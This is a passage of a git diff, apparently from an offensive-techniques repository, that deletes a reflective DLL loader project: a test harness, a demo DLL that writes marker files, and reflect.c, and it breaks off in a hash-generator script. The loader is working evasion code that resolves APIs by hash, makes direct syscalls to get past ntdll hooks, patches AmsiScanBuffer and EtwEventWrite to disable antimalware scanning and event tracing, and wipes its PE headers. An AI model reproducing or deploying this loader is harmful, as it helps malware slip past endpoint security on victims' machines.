found=%d base=0x%llx expected=0x%llx %s\n", - found_mz, - (unsigned long long)found_base, - (unsigned long long)(uintptr_t)mem, - (found_base == (ULONG_PTR)mem) ? "OK" : "MISMATCH"); - - // STEP 5: allocate memory for the mapped image - DWORD imgSz = nt->OptionalHeader.SizeOfImage; - uint8_t *dst = (uint8_t *)VirtualAlloc(NULL, imgSz, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); - printf("[+] dst alloc: %p (0x%lx bytes)\n", (void *)dst, (unsigned long)imgSz); - - // STEP 6: copy headers from the raw file to the mapped image - memcpy(dst, mem, nt->OptionalHeader.SizeOfHeaders); - printf("[+] headers copied\n"); - - // STEP 7: copy each section from raw file to its virtual address - IMAGE_NT_HEADERS *snt = (IMAGE_NT_HEADERS *)(mem + dos->e_lfanew); - sec = IMAGE_FIRST_SECTION(snt); - for (WORD i = 0; i < snt->FileHeader.NumberOfSections; i++, sec++) - { - if (!sec->PointerToRawData || !sec->SizeOfRawData) - continue; - uint8_t *ss = mem + sec->PointerToRawData; - uint8_t *dd = dst + sec->VirtualAddress; - if (sec->VirtualAddress + sec->SizeOfRawData > imgSz) - { - printf("[!] sec[%d] out of bounds!\n", i); - continue; - } - memcpy(dd, ss, sec->SizeOfRawData); - } - printf("[+] sections copied\n"); - - // STEP 8: apply relocations if needed - IMAGE_NT_HEADERS *dnt = (IMAGE_NT_HEADERS *)(dst + dos->e_lfanew); - LONG_PTR delta = (LONG_PTR)((uintptr_t)dst - nt->OptionalHeader.ImageBase); - printf("[*] reloc delta=0x%llx\n", (long long)delta); - { - DWORD rv = dnt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress; - DWORD rs = dnt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size; - printf("[*] reloc dir RVA=0x%lx sz=0x%lx\n", (unsigned long)rv, (unsigned long)rs); - if (delta && rv && rs) - { - IMAGE_BASE_RELOCATION *r = (IMAGE_BASE_RELOCATION *)(dst + rv); - int cnt = 0; - while (r->VirtualAddress && r->SizeOfBlock) - { - ULONG_PTR pg = (ULONG_PTR)dst + r->VirtualAddress; - WORD *e = (WORD *)((uint8_t *)r + sizeof(*r)); - DWORD n = (r->SizeOfBlock - sizeof(*r)) / sizeof(WORD); - for (DWORD j = 0; j < n; j++) - { - int t = e[j] >> 12; - DWORD o = e[j] & 0xFFF; - if (t == IMAGE_REL_BASED_DIR64) - { - *(ULONG_PTR *)(pg + o) += (ULONG_PTR)delta; - cnt++; - } - if (t == IMAGE_REL_BASED_HIGHLOW) - { - *(DWORD *)(pg + o) += (DWORD)delta; - cnt++; - } - } - r = (IMAGE_BASE_RELOCATION *)((uint8_t *)r + r->SizeOfBlock); - } - printf("[+] %d relocations applied\n", cnt); - } - } - - // STEP 9: resolve imports for the mapped image - { - DWORD iv = dnt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress; - printf("[*] import dir RVA=0x%lx\n", (unsigned long)iv); - if (iv) - { - IMAGE_IMPORT_DESCRIPTOR *imp = (IMAGE_IMPORT_DESCRIPTOR *)(dst + iv); - for (; imp->Name; imp++) - { - char *dn = (char *)(dst + imp->Name); - HMODULE h = LoadLibraryA(dn); - printf(" [%s] -> %p\n", dn, (void *)h); - if (!h) - continue; - IMAGE_THUNK_DATA *iat = (IMAGE_THUNK_DATA *)(dst + imp->FirstThunk); - IMAGE_THUNK_DATA *ont = imp->OriginalFirstThunk ? (IMAGE_THUNK_DATA *)(dst + imp->OriginalFirstThunk) : iat; - for (; ont->u1.AddressOfData; ont++, iat++) - { - FARPROC p; - if (IMAGE_SNAP_BY_ORDINAL(ont->u1.Ordinal)) - p = GetProcAddress(h, (LPCSTR)IMAGE_ORDINAL(ont->u1.Ordinal)); - else - { - IMAGE_IMPORT_BY_NAME *ibn = (IMAGE_IMPORT_BY_NAME *)(dst + (DWORD)ont->u1.AddressOfData); - p = GetProcAddress(h, (LPCSTR)ibn->Name); - } - iat->u1.Function = (ULONG_PTR)p; - } - } - } - } - printf("[+] imports resolved\n"); - - // STEP 10: flush cache and call the DLL entry point - FlushInstructionCache(GetCurrentProcess(), dst, imgSz); - typedef BOOL(WINAPI *DllMain_t)(HINSTANCE, DWORD, LPVOID); - DllMain_t fm = (DllMain_t)(dst + dnt->OptionalHeader.AddressOfEntryPoint); - printf("[*] calling DllMain at %p (OEP RVA=0x%lx)\n", (void *)fm, - (unsigned long)dnt->OptionalHeader.AddressOfEntryPoint); - BOOL ok = fm((HINSTANCE)dst, DLL_PROCESS_ATTACH, NULL); - printf("[+] DllMain returned %d\n", (int)ok); -} - - /* verify marker */ - char marker[MAX_PATH]; - DWORD n=GetEnvironmentVariableA("TEMP",marker,MAX_PATH-20); - if(n){const char*s="\\reflect_demo.txt";for(int i=0;s[i];i++)marker[n++]=s[i];marker[n]=0; - if(GetFileAttributesA(marker)!=INVALID_FILE_ATTRIBUTES)printf("[+] marker: %s\n",marker); - else printf("[-] no marker file\n");} - - VirtualFree(dst,0,MEM_RELEASE); - VirtualFree(mem,0,MEM_RELEASE); - HeapFree(GetProcessHeap(),0,buf); - return 0; -} diff --git a/techniques/reflect-dll/src/example_dll.c b/techniques/reflect-dll/src/example_dll.c deleted file mode 100644 index 1f09c82..0000000 --- a/techniques/reflect-dll/src/example_dll.c +++ /dev/null @@ -1,75 +0,0 @@ -// Minimal example DLL for reflective loading. -// Build this with reflect.c and export ReflectiveLoader. - -#include - -// TLS callback — called by ReflectiveLoader BEFORE DllMain. -// Writes %TEMP%\reflect_tls.txt to prove the callback ran. -static void NTAPI tls_callback(PVOID DllHandle, DWORD reason, PVOID reserved) -{ - (void)DllHandle; - (void)reserved; - if (reason != DLL_PROCESS_ATTACH) - return; - - OutputDebugStringA("[reflect-dll] TLS callback DLL_PROCESS_ATTACH\n"); - - char path[MAX_PATH]; - DWORD n = GetEnvironmentVariableA("TEMP", path, MAX_PATH - 20); - if (n && n < MAX_PATH - 20) - { - const char *suffix = "\\reflect_tls.txt"; - for (int i = 0; suffix[i]; i++) - path[n++] = suffix[i]; - path[n] = '\0'; - HANDLE hf = CreateFileA(path, GENERIC_WRITE, 0, NULL, - CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); - if (hf != INVALID_HANDLE_VALUE) - { - const char msg[] = "TLS callback fired before DllMain\r\n"; - DWORD w; - WriteFile(hf, msg, sizeof(msg) - 1, &w, NULL); - CloseHandle(hf); - } - } -} - -static __thread volatile int _tls_anchor = 0; -__attribute__((section(".CRT$XLB"), used)) static PIMAGE_TLS_CALLBACK _tls_cb_entry = tls_callback; - -__declspec(dllexport) -BOOL WINAPI -DllMain(HINSTANCE hInst, DWORD reason, LPVOID reserved) -{ - (void)hInst; - (void)reserved; - - // only perform actions on process attach - if (reason == DLL_PROCESS_ATTACH) - { - DisableThreadLibraryCalls(hInst); - - OutputDebugStringA("[reflect-dll] DllMain DLL_PROCESS_ATTACH loaded reflectively\n"); - - char path[MAX_PATH]; - DWORD n = GetEnvironmentVariableA("TEMP", path, MAX_PATH - 20); - if (n && n < MAX_PATH - 20) - { - const char *suffix = "\\reflect_demo.txt"; - for (int i = 0; suffix[i]; i++) - path[n++] = suffix[i]; - path[n] = '\0'; - - HANDLE hf = CreateFileA(path, GENERIC_WRITE, 0, NULL, - CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); - if (hf != INVALID_HANDLE_VALUE) - { - const char msg[] = "Reflective DLL loaded via ReflectiveLoader()\r\n"; - DWORD written; - WriteFile(hf, msg, sizeof(msg) - 1, &written, NULL); - CloseHandle(hf); - } - } - } - return TRUE; -} diff --git a/techniques/reflect-dll/src/reflect.c b/techniques/reflect-dll/src/reflect.c deleted file mode 100644 index 73d0180..0000000 --- a/techniques/reflect-dll/src/reflect.c +++ /dev/null @@ -1,520 +0,0 @@ -#include "reflect.h" -#include -#include -#include -#include - -// forward decl to silence MinGW warning -BOOL WINAPI DllMain(HINSTANCE, DWORD, LPVOID); - -// PEB/LDR structs - -typedef struct _RL_LDR_ENTRY { - LIST_ENTRY InLoadOrderLinks; - LIST_ENTRY InMemoryOrderLinks; - LIST_ENTRY InInitializationOrderLinks; - PVOID DllBase; - PVOID EntryPoint; - ULONG SizeOfImage; - UNICODE_STRING FullDllName; - UNICODE_STRING BaseDllName; -} RL_LDR_ENTRY; - -typedef struct _RL_PEB_LDR { - ULONG Length; - BOOLEAN Initialized; - PVOID SsHandle; - LIST_ENTRY InLoadOrderModuleList; - LIST_ENTRY InMemoryOrderModuleList; -} RL_PEB_LDR; - -typedef struct _RL_PEB { - BYTE Reserved[2]; - BYTE BeingDebugged; - BYTE Reserved2[1]; - PVOID Reserved3[2]; - RL_PEB_LDR *Ldr; -} RL_PEB; - -// fn pointer typedefs - -typedef HMODULE (WINAPI *pLoadLibraryA_t) (LPCSTR); -typedef HMODULE (WINAPI *pLoadLibraryExA_t) (LPCSTR, HANDLE, DWORD); -typedef FARPROC (WINAPI *pGetProcAddress_t) (HMODULE, LPCSTR); -typedef LPVOID (WINAPI *pVirtualAlloc_t) (LPVOID, SIZE_T, DWORD, DWORD); -typedef BOOL (WINAPI *pVirtualProtect_t) (LPVOID, SIZE_T, DWORD, PDWORD); -typedef BOOL (WINAPI *pFlushInstructionCache_t) (HANDLE, LPCVOID, SIZE_T); -typedef HANDLE (WINAPI *pGetCurrentProcess_t) (void); -typedef BOOL (WINAPI *pDllMain_t) (HINSTANCE, DWORD, LPVOID); -typedef LONG (WINAPI *pNtAllocVm_t) (HANDLE, PVOID*, ULONG_PTR, PSIZE_T, ULONG, ULONG); -typedef LONG (WINAPI *pNtProtectVm_t) (HANDLE, PVOID*, PSIZE_T, ULONG, PULONG); -typedef BOOLEAN (WINAPI *pRtlAddFunctionTable_t) (PRUNTIME_FUNCTION, DWORD, DWORD64); - -// ROR13+additive hashes - generated by tools/gen_hashes.py -// kernel32 -#define H_LoadLibraryA 0x8A8B4676UL -#define H_LoadLibraryExA 0xA5919EE3UL -#define H_GetProcAddress 0x1ACAEE7AUL -#define H_VirtualAlloc 0x302EBE1CUL -#define H_FlushInstructionCache 0xD9303A47UL -#define H_GetCurrentProcess 0x1A4B89AAUL -// ntdll -#define H_NtAllocateVirtualMemory 0x5947FD91UL -#define H_NtProtectVirtualMemory 0x1255C05BUL -#define H_RtlAddFunctionTable 0xB11A8928UL -#define H_EtwEventWrite 0xBE87B7B5UL -// amsi.dll -#define H_AmsiScanBuffer 0x338E06F6UL - -// stomp target - must have SizeOfImage >= ours -#define STOMP_DLL "C:\\Windows\\System32\\clbcatq.dll" - -// debug telemetry, exported -typedef struct { WORD ssn_alloc; WORD ssn_protect; DWORD alloc_method; } RL_DBG; -#define RL_DBG_HELLSGATE 1u -#define RL_DBG_VIRTALLOC 2u -__declspec(dllexport) volatile RL_DBG _rl_dbg = {0xFFFF, 0xFFFF, 0}; - -// ROR13+additive hash, input uppercased -static DWORD _rl_hash(const char *s) -{ - DWORD h = 0; - while (*s) { - unsigned char c = (unsigned char)*s++; - if (c >= 'a') c -= 0x20; - h = (h >> 13) | (h << 19); // ROR13 - h += c; - } - return h; -} - -// wide vs narrow case-insensitive compare, up to 12 chars -static int _rl_weq12(const WCHAR *w, const char *s) -{ - for (int i = 0; i < 12; i++) { - if (!w[i] && !s[i]) return 1; - if (!w[i] || !s[i]) return 0; - if ((w[i] | 0x20) != ((unsigned char)s[i] | 0x20)) return 0; - } - return 1; // full 12-char match (e.g. "kernel32.dll") -} - -// walk PEB module list, return kernel32 base -static ULONG_PTR _rl_find_kernel32(void) -{ -#ifdef _WIN64 - RL_PEB *peb = (RL_PEB *)__readgsqword(0x60); -#else - RL_PEB *peb = (RL_PEB *)__readfsdword(0x30); -#endif - PLIST_ENTRY head = &peb->Ldr->InMemoryOrderModuleList; - PLIST_ENTRY cur = head->Flink; - while (cur != head) { - RL_LDR_ENTRY *e = CONTAINING_RECORD(cur, RL_LDR_ENTRY, InMemoryOrderLinks); - if (e->BaseDllName.Length >= 24 && _rl_weq12(e->BaseDllName.Buffer, "kernel32.dll")) - return (ULONG_PTR)e->DllBase; - cur = cur->Flink; - } - return 0; -} - -// walk PEB module list, return ntdll base -static ULONG_PTR _rl_find_ntdll(void) -{ -#ifdef _WIN64 - RL_PEB *peb = (RL_PEB *)__readgsqword(0x60); -#else - RL_PEB *peb = (RL_PEB *)__readfsdword(0x30); -#endif - PLIST_ENTRY head = &peb->Ldr->InMemoryOrderModuleList; - PLIST_ENTRY cur = head->Flink; - while (cur != head) { - RL_LDR_ENTRY *e = CONTAINING_RECORD(cur, RL_LDR_ENTRY, InMemoryOrderLinks); - if (e->BaseDllName.Length >= 18 && _rl_weq12(e->BaseDllName.Buffer, "ntdll.dll\0\0\0")) - return (ULONG_PTR)e->DllBase; - cur = cur->Flink; - } - return 0; -} - -// EAT walk by hash - ignores forwarded exports -static ULONG_PTR _rl_get_proc_h(ULONG_PTR mod, DWORD hash) -{ - PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)mod; - PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(mod + dos->e_lfanew); - DWORD expRva = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; - DWORD expSz = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size; - if (!expRva) return 0; - PIMAGE_EXPORT_DIRECTORY exp = (PIMAGE_EXPORT_DIRECTORY)(mod + expRva); - DWORD *names = (DWORD *)(mod + exp->AddressOfNames); - WORD *ords = (WORD *)(mod + exp->AddressOfNameOrdinals); - DWORD *funcs = (DWORD *)(mod + exp->AddressOfFunctions); - for (DWORD i = 0; i < exp->NumberOfNames; i++) { - if (_rl_hash((char *)(mod + names[i])) == hash) { - DWORD fnRva = funcs[ords[i]]; - if (fnRva >= expRva && fnRva < expRva + expSz) return 0; // forwarded, skip - return mod + fnRva; - } - } - return 0; -} - -// get SSN from ntdll stub (Hell's Gate / Halos Gate / Tartarus Gate) -static WORD _rl_ssn(ULONG_PTR ntdll, DWORD hash) -{ - ULONG_PTR stub = _rl_get_proc_h(ntdll, hash); - if (!stub) return 0xFFFF; - uint8_t *p = (uint8_t *)stub; - - // clean stub - read SSN from bytes 4-5 - if (p[0]==0x4C && p[1]==0x8B && p[2]==0xD1 && p[3]==0xB8 && p[6]==0x00 && p[7]==0x00) - return *(WORD *)(p + 4); - - // hooked - find real stub stride by scanning backward - int stride = 0; - for (int s = 1; s <= 256 && !stride; s++) { - uint8_t *q = p - s; - if (q[0]==0x4C && q[1]==0x8B && q[2]==0xD1 && q[3]==0xB8 && q[6]==0x00 && q[7]==0x00) - stride = s; - } - if (!stride) { - for (int s = 1; s <= 256 && !stride; s++) { - uint8_t *q = p + s; - if (q[0]==0x4C && q[1]==0x8B && q[2]==0xD1 && q[3]==0xB8 && q[6]==0x00 && q[7]==0x00) - stride = s; - } - } - if (!stride) stride = 32; // typical Win10/11 stub size - - for (int d = 1; d <= 32; d++) { - uint8_t *n = p + d * stride; - if (n[0]==0x4C && n[1]==0x8B && n[2]==0xD1 && n[3]==0xB8 && n[6]==0x00 && n[7]==0x00) - return (WORD)(*(WORD *)(n + 4) - (WORD)d); - n = p - d * stride; - if (n[0]==0x4C && n[1]==0x8B && n[2]==0xD1 && n[3]==0xB8 && n[6]==0x00 && n[7]==0x00) - return (WORD)(*(WORD *)(n + 4) + (WORD)d); - } - return 0xFFFF; -} - -// must be in .data not .bss (no raw bytes on disk) -static volatile WORD _hg_ssn = 0xFFFF; - -// set _hg_ssn before calling -__attribute__((naked)) -static NTSTATUS _rl_hg_call(void) -{ - __asm__( - "movzwl _hg_ssn(%rip), %eax\n\t" - "movq %rcx, %r10\n\t" - "syscall\n\t" - "ret\n\t" - ); -} - -// scan backward from own RIP to find the MZ header of the raw DLL in memory -static ULONG_PTR _rl_find_own_base(void) -{ - ULONG_PTR ip = (ULONG_PTR)_rl_find_own_base & ~0xFFFUL; - for (int i = 0; i < 4096; i++, ip -= 0x1000) { - if (*(WORD *)ip != IMAGE_DOS_SIGNATURE) continue; - PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)ip; - if ((ULONG_PTR)dos->e_lfanew > 0x400) continue; - PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(ip + dos->e_lfanew); - if (nt->Signature == IMAGE_NT_SIGNATURE && nt->OptionalHeader.SizeOfImage > 0) - return ip; - } - return 0; -} - -__declspec(dllexport) -ULONG_PTR WINAPI ReflectiveLoader(LPVOID lpParameter) -{ - (void)lpParameter; - - // 1. find kernel32 + ntdll via PEB walk - ULONG_PTR k32 = _rl_find_kernel32(); - ULONG_PTR ntdll = _rl_find_ntdll(); - if (!k32 || !ntdll) return 0; - - // 2. resolve APIs by hash - no plaintext strings - pLoadLibraryA_t fLLA = (pLoadLibraryA_t) _rl_get_proc_h(k32, H_LoadLibraryA); - pLoadLibraryExA_t fLLEA = (pLoadLibraryExA_t) _rl_get_proc_h(k32, H_LoadLibraryExA); - pGetProcAddress_t fGPA = (pGetProcAddress_t) _rl_get_proc_h(k32, H_GetProcAddress); - pVirtualAlloc_t fVA = (pVirtualAlloc_t) _rl_get_proc_h(k32, H_VirtualAlloc); - pFlushInstructionCache_t fFIC = (pFlushInstructionCache_t) _rl_get_proc_h(k32, H_FlushInstructionCache); - pGetCurrentProcess_t fGCP = (pGetCurrentProcess_t) _rl_get_proc_h(k32, H_GetCurrentProcess); - pRtlAddFunctionTable_t fRAFT = (pRtlAddFunctionTable_t) _rl_get_proc_h(ntdll, H_RtlAddFunctionTable); - - if (!fLLA || !fGPA || !fVA) return 0; - - // VirtualProtect is forwarded, EAT returns a string not a pointer - pVirtualProtect_t fVP = (pVirtualProtect_t)fGPA((HMODULE)k32, "VirtualProtect"); - - // 3. get syscall numbers for NtAllocate/NtProtect (bypasses ntdll hooks) - WORD ssn_alloc = _rl_ssn(ntdll, H_NtAllocateVirtualMemory); - WORD ssn_protect = _rl_ssn(ntdll, H_NtProtectVirtualMemory); - // save for telemetry - _rl_dbg.ssn_alloc = ssn_alloc; - _rl_dbg.ssn_protect = ssn_protect; - - // 4. locate raw PE - ULONG_PTR src = lpParameter ? (ULONG_PTR)lpParameter : _rl_find_own_base(); - if (!src) return 0; - - PIMAGE_DOS_HEADER srcDos = (PIMAGE_DOS_HEADER)src; - PIMAGE_NT_HEADERS srcNt = (PIMAGE_NT_HEADERS)(src + srcDos->e_lfanew); - DWORD imgSz = srcNt->OptionalHeader.SizeOfImage; - DWORD hdrSz = srcNt->OptionalHeader.SizeOfHeaders; - - // 5. allocate dst - priority: module stomp > NtAllocate syscall > VirtualAlloc - ULONG_PTR dst = 0; - - // (a) module stomping - disabled - // LoadLibraryExA(DONT_RESOLVE_DLL_REFERENCES) calls DllMain on Win10+ and hangs. - // Needs NtCreateSection + NtMapViewOfSection for a proper implementation. - (void)fLLEA; - - // (b) NtAllocateVirtualMemory syscall, try preferred base first - if (!dst && ssn_alloc != 0xFFFF) { - SIZE_T sz = (SIZE_T)imgSz; - PVOID base = (PVOID)srcNt->OptionalHeader.ImageBase; - _hg_ssn = ssn_alloc; - if (((pNtAllocVm_t)_rl_hg_call)((HANDLE)(LONG_PTR)-1, &base, 0, &sz, - MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE) == 0) - dst = (ULONG_PTR)base; - if (!dst) { - base = NULL; sz = (SIZE_T)imgSz; - _hg_ssn = ssn_alloc; - if (((pNtAllocVm_t)_rl_hg_call)((HANDLE)(LONG_PTR)-1, &base, 0, &sz, - MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE) == 0) - dst = (ULONG_PTR)base; - } - if (dst) _rl_dbg.alloc_method = RL_DBG_HELLSGATE; - } - - // (c) VirtualAlloc - plain fallback - if (!dst) - dst = (ULONG_PTR)fVA((LPVOID)srcNt->OptionalHeader.ImageBase, - imgSz, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE); - if (!dst) - dst = (ULONG_PTR)fVA(NULL, imgSz, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE); - if (!dst) return 0; - if (!_rl_dbg.alloc_method) _rl_dbg.alloc_method = RL_DBG_VIRTALLOC; - - // 6. copy headers - { uint8_t *s=(uint8_t*)src, *d=(uint8_t*)dst; for(DWORD i=0;iFileHeader.NumberOfSections; i++, sec++) { - if (!sec->PointerToRawData || !sec->SizeOfRawData) continue; - uint8_t *ss = (uint8_t *)(src + sec->PointerToRawData); - uint8_t *sd = (uint8_t *)(dst + sec->VirtualAddress); - for (DWORD j = 0; j < sec->SizeOfRawData; j++) sd[j] = ss[j]; - } - } - - PIMAGE_NT_HEADERS dstNt = (PIMAGE_NT_HEADERS)(dst + ((PIMAGE_DOS_HEADER)dst)->e_lfanew); - LONG_PTR delta = (LONG_PTR)(dst - srcNt->OptionalHeader.ImageBase); - - // 8. base relocations - { - DWORD relRva = dstNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress; - DWORD relSz = dstNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size; - if (delta && relRva && relSz) { - PIMAGE_BASE_RELOCATION reloc = (PIMAGE_BASE_RELOCATION)(dst + relRva); - while (reloc->VirtualAddress && reloc->SizeOfBlock) { - ULONG_PTR page = dst + reloc->VirtualAddress; - WORD *entry = (WORD *)((uint8_t *)reloc + sizeof(IMAGE_BASE_RELOCATION)); - DWORD cnt = (reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD); - for (DWORD i = 0; i < cnt; i++) { - int type = entry[i] >> 12; - DWORD off = entry[i] & 0x0FFF; -#ifdef _WIN64 - if (type == IMAGE_REL_BASED_DIR64) *(ULONG_PTR *)(page+off) += (ULONG_PTR)delta; -#endif - if (type == IMAGE_REL_BASED_HIGHLOW) *(DWORD *)(page+off) += (DWORD)delta; - } - reloc = (PIMAGE_BASE_RELOCATION)((uint8_t *)reloc + reloc->SizeOfBlock); - } - } - } - - // 9. imports - { - DWORD impRva = dstNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress; - if (impRva) { - PIMAGE_IMPORT_DESCRIPTOR imp = (PIMAGE_IMPORT_DESCRIPTOR)(dst + impRva); - for (; imp->Name; imp++) { - HMODULE hLib = fLLA((char *)(dst + imp->Name)); - if (!hLib) continue; - IMAGE_THUNK_DATA *iat = (IMAGE_THUNK_DATA *)(dst + imp->FirstThunk); - IMAGE_THUNK_DATA *ont = imp->OriginalFirstThunk - ? (IMAGE_THUNK_DATA *)(dst + imp->OriginalFirstThunk) : iat; - for (; ont->u1.AddressOfData; ont++, iat++) { - FARPROC proc; - if (IMAGE_SNAP_BY_ORDINAL(ont->u1.Ordinal)) - proc = fGPA(hLib, (LPCSTR)IMAGE_ORDINAL(ont->u1.Ordinal)); - else { - PIMAGE_IMPORT_BY_NAME ibn = - (PIMAGE_IMPORT_BY_NAME)(dst + (DWORD)ont->u1.AddressOfData); - proc = fGPA(hLib, (LPCSTR)ibn->Name); - } - iat->u1.Function = (ULONG_PTR)proc; - } - } - } - } - - // 10. per-section permissions - { - DWORD secAlign = dstNt->OptionalHeader.SectionAlignment; - PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(dstNt); - for (WORD i = 0; i < dstNt->FileHeader.NumberOfSections; i++, sec++) { - if (!sec->VirtualAddress) continue; - // round up to section alignment - DWORD vsz = sec->Misc.VirtualSize ? sec->Misc.VirtualSize : sec->SizeOfRawData; - DWORD msz = (vsz + secAlign - 1) & ~(secAlign - 1); - if (!msz) continue; - DWORD prot = PAGE_NOACCESS, c = sec->Characteristics; - if (c & IMAGE_SCN_MEM_EXECUTE) { - if (c & IMAGE_SCN_MEM_WRITE) prot = PAGE_EXECUTE_READWRITE; - else if (c & IMAGE_SCN_MEM_READ) prot = PAGE_EXECUTE_READ; - else prot = PAGE_EXECUTE; - } else if (c & IMAGE_SCN_MEM_READ) { - prot = (c & IMAGE_SCN_MEM_WRITE) ? PAGE_READWRITE : PAGE_READONLY; - } else if (c & IMAGE_SCN_MEM_WRITE) { - prot = PAGE_WRITECOPY; - } - if (ssn_protect != 0xFFFF) { - PVOID addr = (PVOID)(dst + sec->VirtualAddress); - SIZE_T sz = (SIZE_T)msz; - ULONG old = 0; - _hg_ssn = ssn_protect; - ((pNtProtectVm_t)_rl_hg_call)((HANDLE)(LONG_PTR)-1, &addr, &sz, prot, &old); - } else if (fVP) { - DWORD old; - fVP((LPVOID)(dst + sec->VirtualAddress), msz, prot, &old); - } - } - } - - // 11. register .pdata for x64 SEH - if (fRAFT) { - DWORD pdRva = dstNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].VirtualAddress; - DWORD pdSz = dstNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].Size; - if (pdRva && pdSz) - fRAFT((PRUNTIME_FUNCTION)(dst + pdRva), pdSz / sizeof(RUNTIME_FUNCTION), (DWORD64)dst); - } - - // 11b. init __security_cookie - /GS DLLs crash at function return without this - { - DWORD lcRva = dstNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG].VirtualAddress; - if (lcRva) { - PIMAGE_LOAD_CONFIG_DIRECTORY64 lc = (PIMAGE_LOAD_CONFIG_DIRECTORY64)(dst + lcRva); - if (lc->Size >= (DWORD)((ULONG_PTR)&lc->SecurityCookie - (ULONG_PTR)lc + sizeof(lc->SecurityCookie)) - && lc->SecurityCookie) { - ULONG_PTR *ck = (ULONG_PTR *)lc->SecurityCookie; - ULONG_PTR seed = (ULONG_PTR)ck ^ (ULONG_PTR)dst ^ (ULONG_PTR)lc; - seed ^= (seed >> 16) ^ (seed << 13); - if (!seed || seed == 0x00002B992DDFA232ULL) seed ^= 0xFACEB00CFACEB00CULL; - *ck = seed; - } - } - } - - // 12. AMSI - if (fVP) { - HMODULE hAmsi = fLLA("amsi.dll"); - if (hAmsi) { - LPVOID scan = (LPVOID)fGPA(hAmsi, "AmsiScanBuffer"); - if (scan) { - DWORD old = 0; - if (fVP(scan, 3, PAGE_EXECUTE_READWRITE, &old)) { - ((uint8_t *)scan)[0] = 0x31; - ((uint8_t *)scan)[1] = 0xC0; - ((uint8_t *)scan)[2] = 0xC3; - fVP(scan, 3, old, &old); - } - } - } - } - - // 13. ETW - patch EtwEventWrite: xor eax,eax; ret - if (fVP) { - ULONG_PTR etw = _rl_get_proc_h(ntdll, H_EtwEventWrite); - if (etw) { - DWORD old = 0; - if (fVP((LPVOID)etw, 3, PAGE_EXECUTE_READWRITE, &old)) { - ((uint8_t *)etw)[0] = 0x31; - ((uint8_t *)etw)[1] = 0xC0; - ((uint8_t *)etw)[2] = 0xC3; - fVP((LPVOID)etw, 3, old, &old); - } - } - } - - // 14. TLS - alloc slot, write index, call callbacks before DllMain - { - DWORD tlsRva = dstNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS].VirtualAddress; - if (tlsRva) { - PIMAGE_TLS_DIRECTORY tlsDir = (PIMAGE_TLS_DIRECTORY)(dst + tlsRva); - - // alloc TLS slot - typedef DWORD (WINAPI *pTlsAlloc_t)(void); - pTlsAlloc_t fTlsAlloc = (pTlsAlloc_t)fGPA((HMODULE)k32, "TlsAlloc"); - if (fTlsAlloc && tlsDir->AddressOfIndex) { - DWORD tlsIdx = fTlsAlloc(); - if (tlsIdx != TLS_OUT_OF_INDEXES) - *(DWORD *)(ULONG_PTR)tlsDir->AddressOfIndex = tlsIdx; - } - - // call each callback with DLL_PROCESS_ATTACH - if (tlsDir->AddressOfCallBacks) { - PIMAGE_TLS_CALLBACK *cb = (PIMAGE_TLS_CALLBACK *)(ULONG_PTR)tlsDir->AddressOfCallBacks; - while (*cb) { - (*cb)((PVOID)dst, DLL_PROCESS_ATTACH, NULL); - cb++; - } - } - } - } - - // 15. flush icache - if (fFIC && fGCP) fFIC(fGCP(), (LPVOID)dst, imgSz); - - // 16. DllMain - pDllMain_t fDllMain = (pDllMain_t)(dst + dstNt->OptionalHeader.AddressOfEntryPoint); - fDllMain((HINSTANCE)dst, DLL_PROCESS_ATTACH, NULL); - - // 17. erase PE headers - if (fVP || ssn_protect != 0xFFFF) { - if (ssn_protect != 0xFFFF) { - PVOID addr = (PVOID)dst; - SIZE_T sz = (SIZE_T)hdrSz; - ULONG old = 0; - _hg_ssn = ssn_protect; - ((pNtProtectVm_t)_rl_hg_call)((HANDLE)(LONG_PTR)-1, &addr, &sz, PAGE_READWRITE, &old); - } else { - DWORD old; - fVP((LPVOID)dst, hdrSz, PAGE_READWRITE, &old); - } - - volatile uint8_t *p = (volatile uint8_t *)dst; - for (DWORD i = 0; i < hdrSz; i++) p[i] = 0; - if (ssn_protect != 0xFFFF) { - PVOID addr = (PVOID)dst; - SIZE_T sz = (SIZE_T)hdrSz; - ULONG old = 0; - _hg_ssn = ssn_protect; - ((pNtProtectVm_t)_rl_hg_call)((HANDLE)(LONG_PTR)-1, &addr, &sz, PAGE_READONLY, &old); - } else { - DWORD old; - fVP((LPVOID)dst, hdrSz, PAGE_READONLY, &old); - } - } - - return dst; -} diff --git a/techniques/reflect-dll/tools/gen_hashes.py b/techniques/reflect-dll/tools/gen_hashes.py deleted file mode 100644 index 094c4bf..0000000 --- a/techniques/reflect-dll/tools/gen_hashes.py +++ /dev/null @@ -1,20 +0,0 @@ -def rl_hash(s): - h = 0 - for c in 